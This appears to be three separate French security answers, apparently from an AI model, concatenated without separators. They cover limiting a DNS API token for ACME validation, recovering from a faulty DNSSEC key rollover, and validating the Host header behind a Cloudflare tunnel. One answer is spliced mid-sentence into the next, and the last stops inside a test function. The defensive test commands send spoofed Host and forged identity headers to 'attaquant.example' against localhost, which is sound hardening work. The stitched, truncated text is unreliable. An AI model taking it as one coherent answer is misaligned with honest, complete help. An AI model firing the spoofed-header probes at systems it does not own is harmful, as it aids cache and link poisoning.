| Propriété | Abus possible avec le jeton actuel | Abus possible avec un jeton correctement limité |
|---|---|---|
| Intégrité / authenticité | Réécriture de `A`, `AAAA`, `CNAME`, `MX`, `NS` : détournement du trafic web et du courrier de tout le domaine | Aucune : un seul nom, un seul type |
| Authenticité PKI | Émission de certificats valides pour `*.lanxas.com` chez n'importe quelle AC acceptant la validation DNS, donc interception TLS crédible | Limitée au nom délégué |
| Confidentialité | Interception de courriels (`MX`), exfiltration via redirection | Nulle |
| Disponibilité | Suppression d'enregistrements ou de la zone, désactivation DNSSEC (`DS`, clés) | Nulle |
Point de doctrine : la valeur du jeton ACME publiée dans le TXT n'est **pas** un secret (elle est destinée à être lue publiquement) ; le secret à protéger est **l'identifiant d'API DNS** du bot. Les deux sont souvent confondus sous le mot « token », et cette confusion est ce qui fait accepter des credentials trop larges.
Je signale une limite : je ne connais pas votre fournisseur DNS ni votre client ACME. Les capacités exactes de restriction dépendent de son API et doivent être vérifiées dans sa documentation ; ce qui suit indique quelle propriété exiger, pas un paramètre que j'affirmerais exister chez lui.
## 2. Décision recommandée : portée minimale
Ordre de préférence, du plus robuste au moins robuste.
**Option A, délégation par CNAME vers une zone dédiée (recommandée).**
Dans la zone principale, un enregistrement statique, posé **une fois** par un opérateur humain :
```
_acme-challenge.auth.lanxas.com. 3600 IN CNAME auth-acme.lanxas-challenge.net.
```
Le bot ne reçoit alors des droits que sur `lanxas-challenge.net` (ou une sous-zone déléguée), qui ne contient aucun enregistrement de production. Une compromission du bot ne donne plus aucun pouvoir sur `lanxas.com`, à l'exception du nom de challenge lui-même. Cette approche repose sur le suivi normal des `CNAME` par les résolveurs, et c'est le principe des services de type acme-dns.
Précautions à valider avant mise en production :
- vérifier que l'AC visée suit bien le `CNAME` lors de la validation DNS (comportement usuel, mais à confirmer sur l'AC que vous utilisez, en environnement de test d'abord) ;
- si `lanxas.com` est signée avec DNSSEC, le `CNAME` doit lui-même être signé ; la zone cible doit être soit non signée, soit correctement chaînée. À contrôler avec un validateur.
**Option B, jeton d'API à portée fine, si le fournisseur le permet.** Exiger cumulativement :
- nom autorisé : `_acme-challenge.auth.lanxas.com` uniquement, sans joker ;
- type autorisé : `TXT` uniquement ;
- opérations : création et suppression de cet enregistrement, **pas** de modification des autres RR, **pas** de gestion de zone (création, suppression, `NS`, `SOA`, DNSSEC, transferts, redirections) ;
- restriction réseau : liste blanche de l'adresse IP sortante du bot ;
- un jeton par bot et par usage, jamais partagé avec un autre service.
**Option C, interposition d'un service local.** Le bot n'a aucun credential DNS ; il appelle un micro-service interne qui, lui seul, détient le credential et n'expose que deux opérations, `set_challenge(valeur)` et `clear_challenge()`, sur un nom codé en dur côté serveur. Le nom du RR n'est jamais un paramètre venant de l'appelant, ce qui élimine l'injection de nom.
**Renforcements complémentaires, indépendants du DNS :**
- CAA : la RFC 8657 définit des enregistrements DNS destinés à bloquer une émission non autorisée (article Wikipedia EN précité, tableau des extensions). D'après ma connaissance, elle introduit les paramètres CAA `accounturi` et `validationmethods`, permettant de restreindre l'émission à un compte ACME donné et à la méthode `dns-01` ; je vous invite à vérifier ces noms exacts dans le RFC, l'encyclopédie locale ne détaillant pas ce point.
- Compte ACME dédié à ce bot, clé de compte et clé privée du certificat générées localement et non exportables, jamais réutilisées ailleurs.
- Aucun certificat générique `*.lanxas.com` demandé par ce bot, s'il n'en a pas besoin : un joker élargit inutilement l'impact d'un vol de clé.
## 3. Durée
Deux durées distinctes, à ne pas confondre.
**Durée de vie de l'enregistrement TXT :** strictement le temps de la validation. Le client crée le RR, attend la propagation, déclenche la validation, puis **supprime** le RR. Un TXT de challenge laissé en place est un résidu inutile qui facilite l'analyse de votre chaîne d'émission. TTL bas sur ce nom, de l'ordre de 60 à 120 secondes, valeur d'exploitation usuelle et non un chiffre normatif.
**Durée de vie du credential d'API DNS :** aucune valeur n'est prescrite par un standard, ce sont des recommandations d'exploitation :
- idéal : credential éphémère, émis à la demande pour une exécution, expirant en quelques minutes (jeton court obtenu auprès d'un coffre à secrets avec bail court) ;
- réaliste si le fournisseur n'offre pas d'éphémère : jeton statique avec date d'expiration explicite et rotation planifiée, par exemple trimestrielle, plus rotation immédiate en cas de départ d'un administrateur, de fuite suspectée ou de changement d'hébergement du bot ;
- interdiction d'un jeton sans expiration, ce qui est le cas le plus courant et le plus difficile à corriger après coup.
Le renouvellement du certificat, lui, est déclenché par la date d'expiration de celui-ci ; il ne justifie jamais de maintenir un droit d'écriture permanent en dehors de la fenêtre de renouvellement, si votre fournisseur permet d'activer et de désactiver le droit.
## 4. Audit
**Journalisation, côté fournisseur DNS.** Exiger un journal d'audit des appels d'API contenant : horodatage, identité du jeton utilisé, adresse IP source, opération, nom et type du RR, valeur avant et après. La valeur du TXT peut être journalisée, ce n'est pas un secret ; **le credential d'API ne doit jamais apparaître dans un journal**, ni en clair, ni haché, ni dans une URL.
**Détection.** Trois signaux à alerter :
1. toute écriture par ce jeton portant sur un nom autre que le nom de challenge attendu, ou sur un type autre que TXT : alerte de sévérité haute, immédiate ;
2. variation du numéro de série `SOA` non corrélée à une exécution de renouvellement connue ;
3. surveillance des journaux de transparence des certificats, pour tout certificat émis sur `lanxas.com` hors de vos émissions attendues. Cela ne détecte pas l'abus DNS lui-même, mais son exploitation la plus grave.
**Contrôle d'intégrité de la zone.** Export périodique de la zone, condensat, comparaison au dernier état approuvé. Si vous chaînez ces états sous la forme $h_i = H(R_i, h_{i-1})$, retenez le point de doctrine suivant : pour détecter une altération de l'enregistrement $R_i$, l'ancre externe doit être un condensat $h_k$ avec $k \ge i$, conservé hors de portée de l'attaquant. Une ancre antérieure, $h_j$ avec $j < i$, ne détecte rien, l'attaquant recalculant la chaîne depuis $h_{i-1}$. Par ailleurs, une concordance de condensat n'est pas une preuve mathématique absolue d'identité, des collisions existant nécessairement ; c'est une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction de hachage.
**Corrélation.** Rapprocher chaque écriture DNS d'un objet d'ordre ACME et de son autorisation, le protocole attribuant à chaque client un compte lié à une URI et créant des objets d'ordre traçables (article Wikipedia EN précité, section Function). Toute écriture DNS sans ordre ACME correspondant est suspecte par construction.
**Revue.** Inventaire périodique des credentials DNS actifs, de leur portée réelle et de leur dernière utilisation ; révocation de tout jeton inutilisé.
## 5. Vérification avant bascule
1. Poser le `CNAME` de délégation, puis contrôler la résolution effective : `dig +trace TXT _acme-challenge.auth.lanxas.com` et vérification du suivi du `CNAME`.
2. Émettre d'abord contre l'environnement de test de l'AC (staging), pour éviter de consommer des quotas et de produire des certificats indésirables.
3. Test négatif obligatoire : avec le nouveau credential, tenter délibérément de modifier un enregistrement hors périmètre, par exemple un `TXT` de test sur un autre nom. **L'échec de cette tentative est la seule preuve que la restriction est réelle** ; l'absence de tentative ne prouve rien.
4. Vérifier que le TXT de challenge est bien supprimé après émission.
5. Vérifier l'apparition des trois signaux d'alerte lors d'un test contrôlé, sinon la détection est théorique.
## 6. Risques et limites
- **Aucune de ces mesures ne rend l'opération « sans risque ».** Risques résiduels : compromission de l'hôte du bot, qui donne accès au périmètre délégué et à la clé privée du certificat ; compromission du compte administrateur du fournisseur DNS, hors du champ de ce durcissement ; défaillance du fournisseur, qui reste un point de dépendance unique.
- La délégation par `CNAME` déplace le risque vers la zone déléguée : celle-ci doit être hébergée avec le même sérieux, sinon vous avez seulement changé la cible de l'attaque.
- Un renouvellement peut échouer si la délégation ou DNSSEC est mal configurée ; prévoyez une alerte sur l'échec de renouvellement et une procédure manuelle de secours, l'expiration d'un certificat étant un incident de disponibilité.
- **Opération destructive à encadrer :** la réduction de portée d'un jeton en production peut casser des automatismes non inventoriés. Ne révoquez pas l'ancien jeton avant d'avoir validé le nouveau chemin de bout en bout ; conservez l'ancien désactivé mais restaurable pendant une fenêtre de retour arrière, avec accord explicite de l'opérateur, et ne supprimez jamais d'enregistrement de zone sans export préalable de la zone complète.
- Je n'ai pas accès à votre configuration ; les éléments ci-dessus sont une recommandation d'architecture, pas un constat sur votre installation. Les valeurs de TTL et de périodicité de rotation sont des choix d'exploitation, non des exigences issues d'un standard que je pourrais citer.# 1. Rupture
**Nature exacte : rupture de la chaîne de confiance au point de délégation, pas une perte d'intégrité ni de confidentialité.**
L'article encyclopédique rappelle le mécanisme : « a Delegation Signer (DS) record in a parent domain (DNS zone) can be used to verify a DNSKEY record in a subdomain » et « The DS record is placed in the parent zone along with the delegating NS records » (Wikipédia EN, *Domain Name System Security Extensions*, sections *Resource records* et *Recursive name servers*).
Conséquence directe de la manœuvre décrite :
| Élément | État après l'opération | Effet |
|---|---|---|
| DS parent | Empreinte de l'**ancienne** KSK uniquement | Pointe vers une clé absente de la zone |
| DNSKEY RRset de la zone | Contient la **nouvelle** KSK seule | Aucun DNSKEY ne correspond au digest du DS |
| RRSIG du DNSKEY RRset | Signée par la nouvelle KSK | Signature valide, mais **non ancrée** |
Il n'existe donc plus aucun DNSKEY dont le condensat corresponde au DS parent. Le validateur peut vérifier la signature interne, mais il ne peut plus la **rattacher à l'ancre de confiance racine**. Techniquement, le résolveur constate un DS présent chez le parent sans DNSKEY correspondant, cas que l'article décrit comme anormal : « If there is a DS record for "example.com", but no RRSIG record in the reply, something is wrong and maybe a man in the middle attack is going on » (même source). La logique est identique ici : DS présent, mais chaîne non résoluble. Le validateur ne peut pas distinguer une erreur d'exploitation d'une attaque active, et doit donc **échouer en mode fermé**.
Propriété de sécurité touchée : **authenticité vérifiable et disponibilité**. L'intégrité des données de zone n'est pas compromise, la confidentialité n'est pas concernée, DNSSEC ne la fournit pas (« DNSSEC does not provide confidentiality of data », même source).
# 2. Ordre manquant
L'invariant violé est le suivant : **à tout instant, l'ensemble des DS publiés par le parent et visibles dans les caches doit intersecter l'ensemble des DNSKEY publiés par la zone et visibles dans les caches.** Cette condition doit être vraie en continu, pas seulement aux instants de bascule.
Séquence correcte pour un KSK rollover de type *double-DS* ou *double-KSK* :
1. **Générer** la nouvelle KSK.
2. **Publier** la nouvelle DNSKEY dans la zone, l'ancienne KSK restant publiée. Signer le DNSKEY RRset avec **les deux** KSK.
3. **Attendre** la propagation sur tous les serveurs autoritatifs, puis l'expiration du TTL du DNSKEY RRset, afin qu'aucun cache ne détienne un RRset dépourvu de la nouvelle clé.
4. **Soumettre** le nouveau DS au parent via le registrar. Le parent publie alors **les deux DS** (ancien et nouveau) simultanément.
5. **Attendre** l'expiration du TTL du DS parent, plus le délai de propagation registrar vers registre, plus une marge. C'est le point critique : tant que des caches détiennent l'ancien DS seul, l'ancienne DNSKEY doit rester présente.
6. **Retirer** le DS de l'ancienne clé chez le parent.
7. **Attendre** de nouveau l'expiration du TTL du DS.
8. **Retirer** l'ancienne DNSKEY de la zone et cesser de l'utiliser pour signer.
Dans le scénario décrit, les étapes 4, 5, 6 et 7 ont été omises, et l'étape 8 a été exécutée immédiatement après l'étape 2. **Deux fenêtres de sécurité ont été supprimées** : celle du TTL du DNSKEY et celle du TTL du DS parent.
Illustration chiffrée, sur des **hypothèses de TTL que je pose moi-même** et qui ne correspondent à aucune mesure de votre zone :
$$T_{\text{soumission DS}} \ge \text{TTL}_{\text{DNSKEY}} + T_{\text{prop. autoritatifs}} = 3600 + 900 = 4\,500\ \text{s} \approx 1{,}25\ \text{h}$$
$$T_{\text{retrait ancienne KSK}} \ge T_{\text{prop. registre}} + \text{TTL}_{\text{DS}} + \text{marge} = 3600 + 86400 + 3600 = 93\,600\ \text{s} = 26\ \text{h}$$
$$T_{\text{total minimal}} \approx 98\,100\ \text{s} \approx 27{,}25\ \text{h} \approx 1{,}14\ \text{jour}$$
Ces valeurs sont **illustratives**. Les vôtres dépendent du TTL réel du DS publié par votre TLD, du TTL de votre DNSKEY RRset et du délai réel de votre registrar. Elles doivent être mesurées, pas supposées.
# 3. État des validateurs
Il faut distinguer trois populations, car l'effet n'est pas homogène.
| Population de résolveurs | Comportement observé | Réponse au client |
|---|---|---|
| Validateur strict, cache vide ou DS expiré | Chaîne irrésoluble : DS sans DNSKEY correspondant | **SERVFAIL**, extended DNS error de type DNSKEY manquante ou signature non vérifiable selon l'implémentation |
| Validateur strict, ancien DNSKEY RRset encore en cache et non expiré | Résolution encore correcte tant que le cache tient | Réponse valide, **panne différée** |
| Résolveur non validant, ou stub non validant | Aucune vérification de la chaîne | Réponse servie normalement |
Points essentiels sur l'état réel :
- Le statut DNSSEC de la zone n'est **pas** *insecure* et n'est **pas** *bogus par absence de signature*. Il est **bogus** : le parent affirme cryptographiquement que la zone est signée, via le DS, et cette affirmation ne peut plus être satisfaite. Le résolveur applique le refus par défaut.
- La panne est **asymétrique et progressive**. Elle apparaît d'abord chez les résolveurs dont les caches expirent en premier, puis se généralise à mesure que les TTL s'écoulent. Un test réussi depuis un seul résolveur **ne prouve donc rien** : c'est une vérification finie qui ne permet aucune conclusion universelle sur l'état global.
- L'impact fonctionnel dépasse le web : messagerie via MX, TLSA et DANE, SSHFP, tout ce qui dépend de la zone devient inaccessible pour la fraction validante d'Internet. L'article confirme que DNSSEC sert de socle à ces mécanismes (TLSA, SSHFP, CERT, IPSECKEY, même source).
- Les résolveurs publics majeurs valident, donc la fraction affectée est significative en pratique. Je ne peux pas vous en citer un pourcentage vérifié, et je ne l'inventerai pas.
- La panne n'est **pas auto-résolutive**. Elle persiste tant que l'incohérence DS / DNSKEY n'est pas corrigée.
# 4. Correction
## Décision recommandée
**Restaurer l'ancienne DNSKEY dans la zone immédiatement**, puis reprendre le rollover dans l'ordre correct. Ne pas tenter de corriger par le parent en premier : le TTL du DS parent est généralement long et le délai registrar est hors de votre contrôle, alors que la publication d'un DNSKEY dans votre propre zone est rapide et sous votre maîtrise.
Cette hiérarchie n'est valable que si vous détenez encore le **matériel de clé privée** de l'ancienne KSK, ou au minimum sa partie publique. Deux cas.
## Cas A, ancienne KSK encore disponible
1. **Republier** la DNSKEY de l'ancienne KSK dans la zone, conjointement avec la nouvelle.
2. **Signer** le DNSKEY RRset avec **les deux** KSK. Signer avec la seule nouvelle clé serait insuffisant : un validateur partant de l'ancien DS doit pouvoir valider le RRset via l'ancienne clé.
3. **Incrémenter** le SERIAL du SOA et **republier**.
4. **Vérifier** la propagation sur **tous** les serveurs autoritatifs, un par un, sans exception.
5. **Attendre** l'expiration du TTL du DNSKEY, puis reprendre à l'étape 4 de la séquence normale, soumission du nouveau DS.
Commandes de vérification, à exécuter vous-même, je n'ai accès ni à votre zone ni au réseau :
```bash
# 1. DS effectivement publie par le parent, avec son TTL reel
dig +dnssec +norecurse DS exemple.tld @<serveur_autoritatif_du_parent>
# 2. DNSKEY RRset et RRSIG, sur CHAQUE serveur autoritatif de la zone
for ns in ns1.exemple.tld ns2.exemple.tld; do
echo "=== $ns ==="
dig +dnssec +norecurse DNSKEY exemple.tld @"$ns"
done
# 3. Recalcul local du digest du DS a partir du DNSKEY publie,
# pour verifier la correspondance DS <-> DNSKEY
dig +noall +answer DNSKEY exemple.tld > dnskey.txt
dnssec-dsfromkey -2 -f dnskey.txt exemple.tld
# 4. Validation de bout en bout de la chaine de confiance
delv +rtrace @1.1.1.1 exemple.tld A
```
Interprétation attendue : au moins un des digests produits par l'étape 3 doit être **identique** au DS relevé à l'étape 1. Sur la portée de cette comparaison, une concordance de condensat n'est pas une preuve mathématique absolue d'identité, des collisions existent nécessairement pour toute fonction de hachage, mais elle constitue une assurance cryptographique très forte sous les hypothèses de sécurité de SHA-256, digest de type 2, qui est le seul requis pour la délégation selon la table de l'article (Wikipédia EN, même source, table *Digest field*, SHA-256 = Required pour DNSSEC Delegation, SHA-1 = Must Not Implement).
Vérification complémentaire indispensable : contrôlez la **fraîcheur des RRSIG**, champs inception et expiration. Une chaîne cohérente mais avec des signatures expirées reste bogus.
## Cas B, ancienne KSK définitivement perdue
Il n'existe alors aucun moyen de reconstruire la chaîne à partir de l'ancien DS. La seule voie est de **faire modifier le DS chez le parent**, ce qui implique le registrar et donc un délai que vous ne contrôlez pas.
1. **Soumettre** sans délai le DS de la nouvelle KSK au registrar, en demandant le remplacement.
2. **Assumer** l'indisponibilité résiduelle, bornée par le délai registrar plus le TTL du DS parent. Sur mes hypothèses de la section 2, cela représente environ 26 heures, mais votre valeur réelle peut différer sensiblement.
3. **Option de dernier recours**, à peser explicitement : demander le retrait complet du DS, ce qui fait passer la zone en *insecure* et rétablit la résolution, puis republier le DS après stabilisation. Cette option **restaure la disponibilité au prix de l'abandon temporaire de l'authenticité DNSSEC**. Ce n'est pas une opération anodine, elle expose la zone à l'empoisonnement de cache pendant toute la fenêtre. Elle requiert un arbitrage documenté par le responsable du service, pas une décision technique unilatérale.
## Mesures préventives
- **Automatiser** le rollover avec un outil gérant les états de clé et les temporisations, et supportant CDS et CDNSKEY pour la synchronisation automatique du DS avec le parent lorsque le registre l'accepte. Je ne peux pas vous garantir que votre TLD supporte CDS ou CDNSKEY, vérifiez-le auprès du registre.
- **Interdire** par contrôle automatisé, en pré-publication, toute suppression de DNSKEY qui laisserait l'intersection DS / DNSKEY vide. C'est un invariant vérifiable mécaniquement avant tout déploiement, et c'est la barrière la plus efficace.
- **Surveiller** en continu depuis plusieurs résolveurs validants géographiquement distincts, avec alerte sur SERVFAIL, sur incohérence DS / DNSKEY et sur approche de l'expiration des RRSIG.
- **Sauvegarder** le matériel de clé KSK hors ligne, chiffré, avec procédure de restauration testée. Le cas B ci-dessus est entièrement évitable.
- **Documenter** un runbook de rollover avec point de rollback explicite à chaque étape.
# 5. Risques et limites de cette réponse
- **Ce que je n'ai pas fait** : je n'ai exécuté aucune commande DNS, je n'ai consulté aucune de vos zones, aucun de vos serveurs, aucun registre. Les commandes ci-dessus sont fournies pour que **vous** les exécutiez. Je n'ai pas non plus testé leur syntaxe sur votre système.
- **Les valeurs chiffrées de la section 2 sont des hypothèses que je pose**, calculées par mon outil de calcul local à partir de TTL fictifs. Elles ne constituent en aucun cas une mesure de votre configuration.
- **Sources** : le mécanisme de chaîne de confiance, le rôle respectif de DS, DNSKEY et RRSIG, la table des digests de délégation et l'absence de confidentialité proviennent de l'article Wikipédia EN *Domain Name System Security Extensions* consulté via mon encyclopédie locale. La séquence opérationnelle de rollover et les formules de temporisation relèvent des bonnes pratiques d'exploitation DNSSEC ; je ne cite pas de numéro de RFC précis pour ces procédures faute de pouvoir le vérifier ici, et je préfère m'abstenir plutôt que de risquer une référence erronée. L'article mentionne les RFC 4033, 4034, 4035 comme spécification de DNSSEC-bis et RFC 9364 / BCP 237 comme collection complète, si vous souhaitez remonter au texte normatif.
- **Le comportement exact des validateurs, code de retour et extended DNS error, dépend de l'implémentation.** Je décris le comportement de principe, refus par défaut, sans garantir le détail de chaque logiciel.
- **Le cas B implique un arbitrage disponibilité contre authenticité** qui n'est pas une décision technique. Il relève du responsable du service, sur risque documenté.
- **Aucune opération décrite n'est sans risque.** Toute modification de zone doit être précédée d'une sauvegarde du fichier de zone et de l'état des clés, et suivie d'une vérification effective de la propagation.## 1. Diagnostic
**Ce que le tunnel change, et ce qu'il ne change pas.** Un tunnel sortant déplace le point d'exposition : l'origine n'écoute plus sur un port entrant public, elle initie une connexion vers le réseau de l'opérateur, qui agit en proxy inverse (le fait que Cloudflare opère un service de proxy inverse et de gestion des identités et des accès est documenté dans l'article Cloudflare de Wikipédia, section Produits et infobox « Produits : proxy inverse, edge computing, gestion des identités et des accès »). Le reste de l'analyse ci-dessous relève de mon raisonnement d'ingénieur sécurité, pas d'une source citable : je le signale explicitement.
Point central : **la suppression du port entrant est un contrôle de joignabilité réseau, pas un contrôle d'autorisation applicative.** Le trafic légitime et le trafic hostile arrivent par le même canal, déjà à l'intérieur. Si l'application accepte tout `Host`, le seul discriminant de routage virtuel restant est une donnée fournie par le client : l'en-tête `Host` fait partie des champs d'en-tête de la requête HTTP émise par le client (Wikilivres, Programmation JEE / Le protocole HTTP, exemple de requête `GET /page.html HTTP/1.0` suivi de `Host: example.com`).
## 2. Avantage réel
| Bénéfice | Portée exacte |
|---|---|
| Aucun port entrant, aucune règle NAT ou pare-feu entrante | Supprime le balayage de ports et l'exploitation directe de la pile d'écoute |
| Adresse IP d'origine non publiée | Réduit le contournement du proxy et l'attaque volumétrique directe |
| Terminaison TLS et filtrage applicatif en amont | Cloudflare propose un pare-feu applicatif intégrant l'OWASP ModSecurity Core Rule Set pour les formules payantes, ainsi qu'une protection DDoS (Wikipédia, Cloudflare, sections « Pare-feu pour les applications Web » et « Protection DDoS ») |
| Chemin unique et auditable vers l'origine | Permet de lier `127.0.0.1` uniquement, donc de fermer toute autre voie |
Formulation honnête : le gain porte sur la **surface réseau** et sur la **disponibilité face au volumétrique**. Il ne porne ni sur l'authentification, ni sur l'autorisation, ni sur la validation des entrées.
## 3. Risque résiduel avec un `Host` non contrôlé
Analyse de risque, non sourcée, à valider sur votre code :
1. **Confusion d'hôtes virtuels.** Plusieurs noms publics peuvent être routés vers le même connecteur ; sans validation, une application sert indifféremment `admin.exemple.fr`, `preprod.exemple.fr` et un nom arbitraire. Toute logique de séparation fondée sur le nom de domaine (locataire, branche, environnement) devient contournable. Le risque est aggravé par les configurations où le nom d'hôte pilote le chemin disque, par exemple le motif Nginx `server_name ~ (?<branch>.+)-preprod\.example\.com$;` puis `root /var/www/mon_app/preprod/$branch/;` (Wikilivres, Le serveur Web Nginx, section « Mots réservés »), qui transforme une donnée client en composant de chemin.
2. **Empoisonnement d'URL absolues.** Tout lien généré à partir de `Host` (réinitialisation de mot de passe, courriel de validation, `Location` de redirection, balise canonique, ressource `script-src`) peut pointer vers un domaine contrôlé par l'attaquant. Le motif `return 301 https://$host$request_uri;` (Wikilivres, Le serveur Web Nginx, section « Mots réservés », directive `return`) est exactement ce réflecteur : il renvoie le `Host` reçu. La variante correcte utilise `$server_name`, comme dans l'exemple `rewrite ^ https://$server_name$request_uri? permanent;` de la même source.
3. **Empoisonnement de cache.** Cloudflare met du contenu en cache dans ses emplacements de stockage pour fonctionner comme réseau de diffusion de contenu (Wikipédia, Cloudflare, section « Réseau de distribution de contenu »). Hypothèse de risque : une réponse contenant un lien empoisonné et jugée cacheable peut être servie à d'autres visiteurs. La cacheabilité dépend de vos en-têtes, à vérifier.
4. **Contournement du contrôle d'accès en périphérie.** Si les politiques Zero Trust sont attachées à un nom d'hôte et que l'origine sert tout nom, il suffit d'atteindre l'origine par un nom non couvert par une politique pour accéder sans authentification.
5. **Voie parallèle.** Si le processus écoute sur `0.0.0.0`, tout voisin réseau, conteneur compromis ou service en LAN atteint l'application sans passer par le tunnel : le tunnel n'est alors qu'un chemin parmi d'autres.
6. **Falsification d'en-têtes de confiance.** `X-Forwarded-Host`, `X-Forwarded-For`, `X-Forwarded-Proto`, ou un en-tête d'identité injecté par la périphérie, sont falsifiables par toute requête arrivant hors du saut de confiance.
7. **Dépendance de disponibilité.** Le tunnel crée un point de défaillance unique : le 18 novembre 2025, un dysfonctionnement Cloudflare de trois heures trente a rendu inaccessibles des sites majeurs, et un second incident est survenu le 5 décembre au matin (Wikipédia, Cloudflare, section « Panne (2025) »). Ce risque relève de la disponibilité, pas de l'intégrité.
## 4. Contrôle du `Host` : défense en profondeur, refus par défaut
Trois couches, chacune en liste blanche, chacune capable de refuser seule.
**Couche 1, connecteur.** Déclarez une règle d'entrée par nom d'hôte public et une règle finale de rejet. De mémoire, le fichier de configuration du connecteur `cloudflared` utilise une clé `ingress` avec `hostname`, `service`, et permet de forcer l'en-tête transmis à l'origine ainsi que le nom de serveur TLS attendu. **Je ne dispose pas ici de la documentation officielle Cloudflare : vérifiez les noms exacts des clés dans la documentation de votre version avant application.** Le principe, lui, est indépendant de la syntaxe : aucune règle générique en dernier recours vers l'application, et une entrée terminale `http_status:404`.
**Couche 2, proxy local devant l'application.** Neutralisez d'abord l'hôte virtuel par défaut, qui est le piège classique : dans Nginx, `server_name _;` désigne un nom de serveur invalide, généralement utilisé dans le vhost `default`, et la priorité entre vhosts suit l'ordre alphabétique des fichiers de `sites-enabled` (Wikilivres, Le serveur Web Nginx, section « Mots réservés »).
```nginx
# 00-default.conf : capte tout Host inconnu, ne sert rien
server {
listen 127.0.0.1:8080 default_server;
server_name _;
return 421; # Misdirected Request
access_log /var/log/nginx/host_reject.log;
}
# 10-app.conf : seuls les noms autorisés atteignent l'application
server {
listen 127.0.0.1:8080;
server_name app.exemple.fr admin.exemple.fr;
add_header Content-Security-Policy "default-src 'self'; frame-ancestors 'none'" always;
add_header X-Frame-Options "SAMEORIGIN" always; # directive add_header, source Wikilivres ci-dessus
location / {
proxy_pass http://127.0.0.1:8000;
proxy_set_header Host $host; # $host est déjà validé par server_name
proxy_set_header X-Forwarded-Host $host; # écrasement, jamais de passe-plat
proxy_set_header X-Forwarded-Proto https;
proxy_set_header X-Real-IP $remote_addr;
proxy_read_timeout 600;
}
}
```
L'écrasement systématique des en-têtes `X-Forwarded-*` est le point critique : il détruit toute valeur injectée en amont. Les variables `$host`, `$document_uri`, `$request_uri` sont fournies par `ngx_http_core_module` (Wikilivres, Le serveur Web Nginx, section « Variables »).
**Couche 3, application.** La validation doit exister même sans proxy, car un proxy peut être retiré par erreur.
```python
# FastAPI / Starlette : rejet natif des Host non listés
from fastapi import FastAPI
from starlette.middleware.trustedhost import TrustedHostMiddleware
import os
ALLOWED = [h.strip() for h in os.environ["ALLOWED_HOSTS"].split(",") if h.strip()]
if not ALLOWED:
raise RuntimeError("ALLOWED_HOSTS vide : refus de demarrer (fail closed)")
app = FastAPI()
app.add_middleware(TrustedHostMiddleware, allowed_hosts=ALLOWED)
PUBLIC_BASE_URL = os.environ["PUBLIC_BASE_URL"] # jamais reconstruit depuis Host
def lien_reinitialisation(token: str) -> str:
return f"{PUBLIC_BASE_URL}/reset?token={token}"
```
**Je n'ai pas exécuté ce code.** `TrustedHostMiddleware` et son paramètre `allowed_hosts` correspondent à mon souvenir de l'API Starlette ; l'équivalent Django est le réglage `ALLOWED_HOSTS`. Vérifiez ces noms dans la documentation de vos versions.
Règles complémentaires, non négociables selon mon analyse :
- L'application écoute sur `127.0.0.1` ou sur un réseau interne de conteneurs, jamais sur `0.0.0.0` exposé.
- Aucune génération d'URL absolue, de lien de courriel ou de balise canonique depuis `Host` ; toujours depuis une base configurée.
- Refus par défaut : `421` ou `404`, jamais une redirection `301` réfléchissant `$host`.
- Le nom d'hôte n'est jamais interpolé dans un chemin de fichier, une requête SQL, une clé de cache ou une commande.
- Journalisez le `Host` rejeté, jamais les jetons ni les secrets.
## 5. Frontière d'identité : la distinction décisive
C'est le cœur de votre question. Quatre frontières distinctes se superposent, et les confondre est le défaut de conception typique.
| Frontière | Ce qu'elle établit | Ce qu'elle n'établit pas |
|---|---|---|
| Tunnel (jeton du connecteur) | Authenticité du **connecteur** auprès du réseau, et joignabilité | Aucune identité d'utilisateur final |
| Nom d'hôte (`Host`) | Rien du tout : c'est une donnée client (Wikilivres, protocole HTTP) | Ni identité, ni autorisation, ni locataire |
| Zero Trust en périphérie | Identité de l'utilisateur, si et seulement si l'origine **vérifie cryptographiquement** l'assertion | Rien, si l'origine se contente de lire un en-tête |
| Session applicative | Identité et droits pour chaque action | Rien sur le chemin réseau emprunté |
Conséquences opérationnelles :
1. **Le tunnel n'est pas une frontière d'identité.** Il authentifie une machine sortante, pas un humain entrant. Traitez tout ce qui en sort comme du trafic non fiable.
2. **Vérifiez l'assertion, ne lui faites pas confiance.** Si vous utilisez la couche Zero Trust de Cloudflare, l'origine doit valider le jeton signé : signature contre le jeu de clés publiques de votre organisation, audience correspondant à **l'application concernée**, émetteur, expiration, et non-rejouabilité. Un en-tête d'identité non signé, ou signé mais dont l'audience n'est pas vérifiée, est contournable dès qu'un second chemin existe ou dès qu'une autre application partage la même clé. Je ne dispose pas ici de la documentation officielle décrivant les noms exacts du jeton et du point de distribution des clés : à récupérer chez Cloudflare avant implémentation.
3. **Autorisation toujours côté serveur, objet par objet.** La périphérie dit « cet utilisateur est authentifié » ; elle ne dit pas « cet utilisateur a le droit de lire ce dossier ». Refus par défaut, contrôle par ressource, anti-IDOR.
4. **Confidentialité : reconnaissez l'intermédiaire.** Le proxy déchiffre le trafic. Ce n'est pas un défaut, c'est un modèle de confiance à documenter et à accepter explicitement, en particulier si vous traitez des données personnelles au sens du RGPD.
5. **Identité de service à service.** Entre le connecteur et l'origine, ou entre microservices, utilisez mTLS ou un jeton de service, pas une confiance implicite fondée sur l'adresse `127.0.0.1`.
6. **Disponibilité séparée de l'identité.** Prévoyez le comportement en cas d'indisponibilité du fournisseur de politiques : si la vérification du jeton échoue, échouez en mode fermé (`503`), jamais en mode ouvert.
## 6. Vérification
Ces commandes n'ont pas été exécutées ici ; elles constituent le protocole de test à jouer sur votre plateforme.
```bash
# 1. Configuration effective de Nginx, avec includes resolus
nginx -T | grep -nE 'server_name|default_server|proxy_set_header'
# 2. Host inconnu : doit renvoyer 421 ou 404, jamais 200 ni 301
curl -sS -o /dev/null -w '%{http_code}\n' \
-H 'Host: attaquant.example' http://127.0.0.1:8080/
# 3. Absence de reflexion dans Location
curl -sSI -H 'Host: attaquant.example' http://127.0.0.1:8080/ | grep -i '^location:'
# 4. Passe-plat d'en-tete de confiance : la valeur injectee ne doit pas atteindre l'application
curl -sS -H 'Host: app.exemple.fr' \
-H 'X-Forwarded-Host: attaquant.example' \
-H 'Cf-Access-Authenticated-User-Email: [email protected]' \
http://127.0.0.1:8080/whoami
# 5. Voie parallele : aucun port applicatif ne doit ecouter hors boucle locale
ss -ltnp | grep -v '127.0.0.1'
# 6. Journaux de rejet
journalctl -u nginx --since '10 min ago' # commande de consultation des logs, source Wikilivres
```
Test automatisé à ajouter à la suite d'intégration, avec assertion réelle :
```python
def test_host_non_autorise_est_rejete(client):
r = client.get("/", headers={"Host": "attaquant.example"})
